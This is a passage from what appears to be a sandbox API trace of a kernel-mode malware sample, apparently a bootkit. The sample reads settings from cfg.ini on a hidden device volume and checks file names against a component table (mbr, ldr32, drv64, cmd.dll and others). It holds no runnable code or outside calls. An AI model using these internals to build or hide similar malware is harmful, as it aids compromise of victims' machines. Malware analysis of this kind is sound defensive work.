_Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.136] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.136] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.136] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.136] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.136] IdePortDispatch () returned 0x103 [0123.136] KeWaitForMutexObject () returned 0x0 [0123.136] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.136] KeLeaveCriticalRegion () [0123.136] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.137] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.137] KeEnterCriticalRegion () [0123.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] KeLeaveCriticalRegion () [0123.137] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.137] KeEnterCriticalRegion () [0123.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.137] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beadc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] KeLeaveCriticalRegion () [0123.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.137] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.137] KeEnterCriticalRegion () [0123.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] ExFreePoolWithTag (P=0xfffffa8003be9860, Tag=0x0) [0123.137] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] KeLeaveCriticalRegion () [0123.137] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.137] ReleaseMutex (hMutex=0xf0) returned 1 [0123.137] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.137] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.137] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.137] KeEnterCriticalRegion () [0123.137] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.137] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.137] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.137] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.137] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.137] IdePortDispatch () returned 0x103 [0123.137] KeWaitForMutexObject () returned 0x0 [0123.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.138] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.138] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.138] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.138] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.138] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beaf00 [0123.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] KeLeaveCriticalRegion () [0123.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.138] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.138] KeEnterCriticalRegion () [0123.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] KeLeaveCriticalRegion () [0123.138] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.138] KeEnterCriticalRegion () [0123.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.138] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.138] IdePortDispatch () returned 0x103 [0123.138] KeWaitForMutexObject () returned 0x0 [0123.138] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.138] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] KeLeaveCriticalRegion () [0123.138] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.138] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.138] KeEnterCriticalRegion () [0123.138] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.138] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db8000 [0123.138] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.138] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.138] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.138] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.138] IdePortDispatch () returned 0x103 [0123.139] KeWaitForMutexObject () returned 0x0 [0123.139] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.139] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.139] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.139] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.139] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.139] IdePortDispatch () returned 0x103 [0123.139] KeWaitForMutexObject () returned 0x0 [0123.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] KeLeaveCriticalRegion () [0123.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.140] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.140] KeEnterCriticalRegion () [0123.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] KeLeaveCriticalRegion () [0123.140] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.140] KeEnterCriticalRegion () [0123.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.140] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] KeLeaveCriticalRegion () [0123.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.140] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.140] KeEnterCriticalRegion () [0123.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] ExFreePoolWithTag (P=0xfffffa8003beaf00, Tag=0x0) [0123.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.140] KeLeaveCriticalRegion () [0123.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.141] ReleaseMutex (hMutex=0xf0) returned 1 [0123.141] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.141] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.141] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.141] KeEnterCriticalRegion () [0123.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.141] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.141] IdePortDispatch () returned 0x103 [0123.141] KeWaitForMutexObject () returned 0x0 [0123.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.141] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.141] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.141] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.141] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.141] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.141] KeLeaveCriticalRegion () [0123.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.141] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.141] KeEnterCriticalRegion () [0123.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.141] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.141] KeLeaveCriticalRegion () [0123.141] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.141] KeEnterCriticalRegion () [0123.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.141] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.141] IdePortDispatch () returned 0x103 [0123.142] KeWaitForMutexObject () returned 0x0 [0123.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.142] KeLeaveCriticalRegion () [0123.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.142] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.142] KeEnterCriticalRegion () [0123.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db9000 [0123.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.142] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.142] IdePortDispatch () returned 0x103 [0123.142] KeWaitForMutexObject () returned 0x0 [0123.142] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.142] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.142] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.142] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.142] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.142] IdePortDispatch () returned 0x103 [0123.142] KeWaitForMutexObject () returned 0x0 [0123.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.142] KeLeaveCriticalRegion () [0123.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.143] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.143] KeEnterCriticalRegion () [0123.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] KeLeaveCriticalRegion () [0123.143] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.143] KeEnterCriticalRegion () [0123.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.143] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] KeLeaveCriticalRegion () [0123.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.143] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.143] KeEnterCriticalRegion () [0123.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.143] KeLeaveCriticalRegion () [0123.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.143] ReleaseMutex (hMutex=0xf0) returned 1 [0123.143] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.143] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.143] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.144] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.144] KeEnterCriticalRegion () [0123.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.144] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.144] IdePortDispatch () returned 0x103 [0123.144] KeWaitForMutexObject () returned 0x0 [0123.144] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.144] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.144] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.144] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.144] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.144] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.144] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.144] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.144] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.144] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.144] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.144] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.144] KeLeaveCriticalRegion () [0123.144] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.144] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.144] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.144] KeEnterCriticalRegion () [0123.144] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.144] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.144] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.144] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.144] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.144] IdePortDispatch () returned 0x103 [0123.144] KeWaitForMutexObject () returned 0x0 [0123.145] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.145] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.145] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.145] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.145] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.145] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.145] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.145] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.145] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.145] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.145] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.145] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.145] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.145] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.145] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.145] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.145] KeLeaveCriticalRegion () [0123.145] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.145] ReleaseMutex (hMutex=0x100) returned 1 [0123.145] Sleep (dwMilliseconds=0x2bf20) [0123.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c98be10, dwHighDateTime=0x1d24fa4)) [0123.151] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.151] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.151] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.151] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.151] KeEnterCriticalRegion () [0123.151] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.151] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.151] IdePortDispatch () returned 0x103 [0123.152] KeWaitForMutexObject () returned 0x0 [0123.152] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.152] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.152] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.152] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.152] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.152] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 